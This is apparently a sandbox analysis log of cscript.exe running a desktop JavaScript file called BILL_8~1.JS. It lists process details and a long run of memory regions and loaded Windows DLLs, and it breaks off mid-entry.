# Flog Txt Version 1
# Analyzer Version: 2.3.0
# Analyzer Build Date: Apr 12 2018 14:32:59
# Log Creation Date: 07.05.2018 10:12:05.179

Process:
	id = "1"
	image_name = "cscript.exe"
	filename = "c:\\windows\\system32\\cscript.exe"
	page_root = "0xd4cb000"
	os_pid = "0xd98"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Windows\\System32\\CScript.exe\"  \"C:\\Users\\CIIHMN~1\\Desktop\\BILL_8~1.JS\" "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "LHNIWSJ\\CIiHmnxMn6Ps"
	os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001714b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 1
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2
	        start_va = 0x95b9640000
	          end_va = 0x95b965ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9640000"
	        filename = ""

Region:
	              id = 3
	        start_va = 0x95b9660000
	          end_va = 0x95b9673fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9660000"
	        filename = ""

Region:
	              id = 4
	        start_va = 0x95b9680000
	          end_va = 0x95b977ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9680000"
	        filename = ""

Region:
	              id = 5
	        start_va = 0x95b9780000
	          end_va = 0x95b9783fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9780000"
	        filename = ""

Region:
	              id = 6
	        start_va = 0x95b9790000
	          end_va = 0x95b9790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9790000"
	        filename = ""

Region:
	              id = 7
	        start_va = 0x95b97a0000
	          end_va = 0x95b97a1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b97a0000"
	        filename = ""

Region:
	              id = 8
	        start_va = 0x7df5ff730000
	          end_va = 0x7ff5ff72ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff730000"
	        filename = ""

Region:
	              id = 9
	        start_va = 0x7ff6df660000
	          end_va = 0x7ff6df682fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6df660000"
	        filename = ""

Region:
	              id = 10
	        start_va = 0x7ff6df68c000
	          end_va = 0x7ff6df68dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df68c000"
	        filename = ""

Region:
	              id = 11
	        start_va = 0x7ff6df68e000
	          end_va = 0x7ff6df68efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df68e000"
	        filename = ""

Region:
	              id = 12
	        start_va = 0x7ff6dfd80000
	          end_va = 0x7ff6dfdaefff
	     entry_point = 0x7ff6dfd80000
	     region_type = mapped_file
	            name = "cscript.exe"
	        filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")

Region:
	              id = 13
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 160
	        start_va = 0x95b9820000
	          end_va = 0x95b991ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9820000"
	        filename = ""

Region:
	              id = 161
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 162
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 237
	        start_va = 0x95b9640000
	          end_va = 0x95b964ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9640000"
	        filename = ""

Region:
	              id = 238
	        start_va = 0x95b9650000
	          end_va = 0x95b9656fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9650000"
	        filename = ""

Region:
	              id = 239
	        start_va = 0x95b9920000
	          end_va = 0x95b99ddfff
	     entry_point = 0x95b9920000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 240
	        start_va = 0x95b99e0000
	          end_va = 0x95b9adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b99e0000"
	        filename = ""

Region:
	              id = 241
	        start_va = 0x7ff6df560000
	          end_va = 0x7ff6df65ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff6df560000"
	        filename = ""

Region:
	              id = 242
	        start_va = 0x7ff6df68a000
	          end_va = 0x7ff6df68bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df68a000"
	        filename = ""

Region:
	              id = 243
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 244
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 245
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 246
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 247
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 248
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 249
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 250
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 251
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 252
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 253
	        start_va = 0x95b97b0000
	          end_va = 0x95b97b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b97b0000"
	        filename = ""

Region:
	              id = 254
	        start_va = 0x95b9b90000
	          end_va = 0x95b9b9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9b90000"
	        filename = ""

Region:
	              id = 255
	        start_va = 0x95b9ba0000
	          end_va = 0x95b9d27fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9ba0000"
	        filename = ""

Region:
	              id = 256
	        start_va = 0x7ffc015f0000
	          end_va = 0x7ffc01625fff
	     entry_point = 0x7ffc015f0000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 257
	        start_va = 0x7ffc02160000
	          end_va = 0x7ffc022bbfff
	     entry_point = 0x7ffc02160000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 258
	        start_va = 0x95b97c0000
	          end_va = 0x95b97c2fff
	     entry_point = 0x95b97c0000
	     region_type = mapped_file
	            name = "cscript.exe.mui"
	        filename = "\\Windows\\System32\\en-US\\cscript.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cscript.exe.mui")

Region:
	              id = 259
	        start_va = 0x95b97d0000
	          end_va = 0x95b97d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b97d0000"
	        filename = ""

Region:
	              id = 260
	        start_va = 0x95b97e0000
	          end_va = 0x95b97e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b97e0000"
	        filename = ""

Region:
	              id = 261
	        start_va = 0x95b9d30000
	          end_va = 0x95b9eb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9d30000"
	        filename = ""

Region:
	              id = 262
	        start_va = 0x95b9ec0000
	          end_va = 0x95bb2bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9ec0000"
	        filename = ""

Region:
	              id = 263
	        start_va = 0x95bb2c0000
	          end_va = 0x95bb395fff
	     entry_point = 0x95bb2c0000
	     region_type = mapped_file
	            name = "rpcss.dll"
	        filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll")

Region:
	              id = 264
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 265
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 266
	        start_va = 0x7ffbff170000
	          end_va = 0x7ffbff205fff
	     entry_point = 0x7ffbff170000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 267
	        start_va = 0x95bb2c0000
	          end_va = 0x95bb42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bb2c0000"
	        filename = ""

Region:
	              id = 268
	        start_va = 0x95bb430000
	          end_va = 0x95bb766fff
	     entry_point = 0x95bb430000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 269
	        start_va = 0x95b97f0000
	          end_va = 0x95b97f8fff
	     entry_point = 0x95b97f0000
	     region_type = mapped_file
	            name = "cscript.exe"
	        filename = "\\Windows\\System32\\cscript.exe" (normalized: "c:\\windows\\system32\\cscript.exe")

Region:
	              id = 270
	        start_va = 0x7ffc00760000
	          end_va = 0x7ffc007f7fff
	     entry_point = 0x7ffc00760000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 271
	        start_va = 0x95bb2c0000
	          end_va = 0x95bb3bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bb2c0000"
	        filename = ""

Region:
	              id = 272
	        start_va = 0x95bb420000
	          end_va = 0x95bb42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bb420000"
	        filename = ""

Region:
	              id = 273
	        start_va = 0x7ff6df688000
	          end_va = 0x7ff6df689fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df688000"
	        filename = ""

Region:
	              id = 274
	        start_va = 0x95b9800000
	          end_va = 0x95b9800fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9800000"
	        filename = ""

Region:
	              id = 275
	        start_va = 0x95bb770000
	          end_va = 0x95bb827fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095bb770000"
	        filename = ""

Region:
	              id = 276
	        start_va = 0x95b9800000
	          end_va = 0x95b9803fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9800000"
	        filename = ""

Region:
	              id = 277
	        start_va = 0x7ffbfe9a0000
	          end_va = 0x7ffbfe9c1fff
	     entry_point = 0x7ffbfe9a0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 278
	        start_va = 0x95b9810000
	          end_va = 0x95b9810fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9810000"
	        filename = ""

Region:
	              id = 279
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 280
	        start_va = 0x95b9ae0000
	          end_va = 0x95b9ae0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9ae0000"
	        filename = ""

Region:
	              id = 281
	        start_va = 0x7ffbed2a0000
	          end_va = 0x7ffbed36dfff
	     entry_point = 0x7ffbed2a0000
	     region_type = mapped_file
	            name = "jscript.dll"
	        filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll")

Region:
	              id = 282
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 283
	        start_va = 0x7ffbf69d0000
	          end_va = 0x7ffbf69dffff
	     entry_point = 0x7ffbf69d0000
	     region_type = mapped_file
	            name = "amsi.dll"
	        filename = "\\Windows\\System32\\amsi.dll" (normalized: "c:\\windows\\system32\\amsi.dll")

Region:
	              id = 284
	        start_va = 0x7ffbed280000
	          end_va = 0x7ffbed29cfff
	     entry_point = 0x7ffbed280000
	     region_type = mapped_file
	            name = "mpoav.dll"
	        filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll")

Region:
	              id = 285
	        start_va = 0x95b9af0000
	          end_va = 0x95b9af5fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9af0000"
	        filename = ""

Region:
	              id = 286
	        start_va = 0x7ffbf39b0000
	          end_va = 0x7ffbf39bffff
	     entry_point = 0x7ffbf39b0000
	     region_type = mapped_file
	            name = "wldp.dll"
	        filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll")

Region:
	              id = 287
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 288
	        start_va = 0x7ffc00920000
	          end_va = 0x7ffc00930fff
	     entry_point = 0x7ffc00920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 289
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 290
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 291
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 292
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 293
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 294
	        start_va = 0x95b9af0000
	          end_va = 0x95b9af5fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9af0000"
	        filename = ""

Region:
	              id = 295
	        start_va = 0x95bb830000
	          end_va = 0x95bb92ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bb830000"
	        filename = ""

Region:
	              id = 296
	        start_va = 0x7ff6df686000
	          end_va = 0x7ff6df687fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df686000"
	        filename = ""

Region:
	              id = 297
	        start_va = 0x7ffbf69c0000
	          end_va = 0x7ffbf69cbfff
	     entry_point = 0x7ffbf69c0000
	     region_type = mapped_file
	            name = "msisip.dll"
	        filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll")

Region:
	              id = 298
	        start_va = 0x7ffc03b40000
	          end_va = 0x7ffc03baefff
	     entry_point = 0x7ffc03b40000
	     region_type = mapped_file
	            name = "coml2.dll"
	        filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll")

Region:
	              id = 299
	        start_va = 0x95bb930000
	          end_va = 0x95bc92ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095bb930000"
	        filename = ""

Region:
	              id = 300
	        start_va = 0x95b9b00000
	          end_va = 0x95b9b05fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000095b9b00000"
	        filename = ""

Region:
	              id = 301
	        start_va = 0x95bb930000
	          end_va = 0x95bba2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bb930000"
	        filename = ""

Region:
	              id = 302
	        start_va = 0x7ff6df684000
	          end_va = 0x7ff6df685fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df684000"
	        filename = ""

Region:
	              id = 303
	        start_va = 0x7ffbed260000
	          end_va = 0x7ffbed27cfff
	     entry_point = 0x7ffbed260000
	     region_type = mapped_file
	            name = "wshext.dll"
	        filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll")

Region:
	              id = 304
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 305
	        start_va = 0x7ffc00940000
	          end_va = 0x7ffc00f67fff
	     entry_point = 0x7ffc00940000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 306
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 307
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 308
	        start_va = 0x7ffc008f0000
	          end_va = 0x7ffc00902fff
	     entry_point = 0x7ffc008f0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 309
	        start_va = 0x7ffbed1b0000
	          end_va = 0x7ffbed259fff
	     entry_point = 0x7ffbed1b0000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_0212ec7eba871e86\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.10240.16384_none_0212ec7eba871e86\\comctl32.dll")

Region:
	              id = 310
	        start_va = 0x95bba30000
	          end_va = 0x95bbbaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bba30000"
	        filename = ""

Region:
	              id = 311
	        start_va = 0x95b9b00000
	          end_va = 0x95b9b06fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9b00000"
	        filename = ""

Region:
	              id = 312
	        start_va = 0x7ffbed160000
	          end_va = 0x7ffbed1a3fff
	     entry_point = 0x7ffbed160000
	     region_type = mapped_file
	            name = "scrobj.dll"
	        filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll")

Region:
	              id = 313
	        start_va = 0x95bba30000
	          end_va = 0x95bbb2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bba30000"
	        filename = ""

Region:
	              id = 314
	        start_va = 0x95bbba0000
	          end_va = 0x95bbbaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbba0000"
	        filename = ""

Region:
	              id = 315
	        start_va = 0x95b9af0000
	          end_va = 0x95b9afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095b9af0000"
	        filename = ""

Region:
	              id = 316
	        start_va = 0x95bbbb0000
	          end_va = 0x95bbcaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbbb0000"
	        filename = ""

Region:
	              id = 317
	        start_va = 0x95bbcb0000
	          end_va = 0x95bbdaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbcb0000"
	        filename = ""

Region:
	              id = 318
	        start_va = 0x95bbdb0000
	          end_va = 0x95bbeaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbdb0000"
	        filename = ""

Region:
	              id = 319
	        start_va = 0x7ff6df55a000
	          end_va = 0x7ff6df55bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df55a000"
	        filename = ""

Region:
	              id = 320
	        start_va = 0x7ff6df55c000
	          end_va = 0x7ff6df55dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df55c000"
	        filename = ""

Region:
	              id = 321
	        start_va = 0x7ff6df55e000
	          end_va = 0x7ff6df55ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff6df55e000"
	        filename = ""

Region:
	              id = 322
	        start_va = 0x7ffbed080000
	          end_va = 0x7ffbed159fff
	     entry_point = 0x7ffbed080000
	     region_type = mapped_file
	            name = "mpclient.dll"
	        filename = "\\Program Files\\Windows Defender\\MpClient.dll" (normalized: "c:\\program files\\windows defender\\mpclient.dll")

Region:
	              id = 323
	        start_va = 0x7ffbffeb0000
	          end_va = 0x7ffbffecefff
	     entry_point = 0x7ffbffeb0000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 324
	        start_va = 0x95b9b10000
	          end_va = 0x95b9b11fff
	     entry_point = 0x95b9b10000
	     region_type = mapped_file
	            name = "msmplics.dll"
	        filename = "\\Program Files\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files\\windows defender\\msmplics.dll")

Region:
	              id = 325
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 330
	        start_va = 0x7ffbec060000
	          end_va = 0x7ffbec094fff
	     entry_point = 0x7ffbec060000
	     region_type = mapped_file
	            name = "scrrun.dll"
	        filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")

Region:
	              id = 331
	        start_va = 0x95b9b10000
	          end_va = 0x95b9b1ffff
	     entry_point = 0x95b9b10000
	     region_type = mapped_file
	            name = "scrrun.dll"
	        filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll")

Region:
	              id = 332
	        start_va = 0x7ffbfbb40000
	          end_va = 0x7ffbfbc15fff
	     entry_point = 0x7ffbfbb40000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 333
	        start_va = 0x7ffbebc20000
	          end_va = 0x7ffbebe56fff
	     entry_point = 0x7ffbebc20000
	     region_type = mapped_file
	            name = "msxml3.dll"
	        filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll")

Region:
	              id = 334
	        start_va = 0x95bbeb0000
	          end_va = 0x95bbfeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbeb0000"
	        filename = ""

Region:
	              id = 335
	        start_va = 0x95bbff0000
	          end_va = 0x95bc18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbff0000"
	        filename = ""

Region:
	              id = 336
	        start_va = 0x95bbeb0000
	          end_va = 0x95bbf7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbeb0000"
	        filename = ""

Region:
	              id = 337
	        start_va = 0x95bbfe0000
	          end_va = 0x95bbfeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbfe0000"
	        filename = ""

Region:
	              id = 338
	        start_va = 0x95bbff0000
	          end_va = 0x95bc0dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bbff0000"
	        filename = ""

Region:
	              id = 339
	        start_va = 0x95bc180000
	          end_va = 0x95bc18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc180000"
	        filename = ""

Region:
	              id = 340
	        start_va = 0x95bc190000
	          end_va = 0x95bc2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc190000"
	        filename = ""

Region:
	              id = 341
	        start_va = 0x95bbff0000
	          end_va = 0x95bc0cefff
	     entry_point = 0x95bbff0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 342
	        start_va = 0x95bc0d0000
	          end_va = 0x95bc0dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc0d0000"
	        filename = ""

Region:
	              id = 343
	        start_va = 0x95bc2c0000
	          end_va = 0x95bc6bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000095bc2c0000"
	        filename = ""

Region:
	              id = 344
	        start_va = 0x95b9b20000
	          end_va = 0x95b9b20fff
	     entry_point = 0x95b9b20000
	     region_type = mapped_file
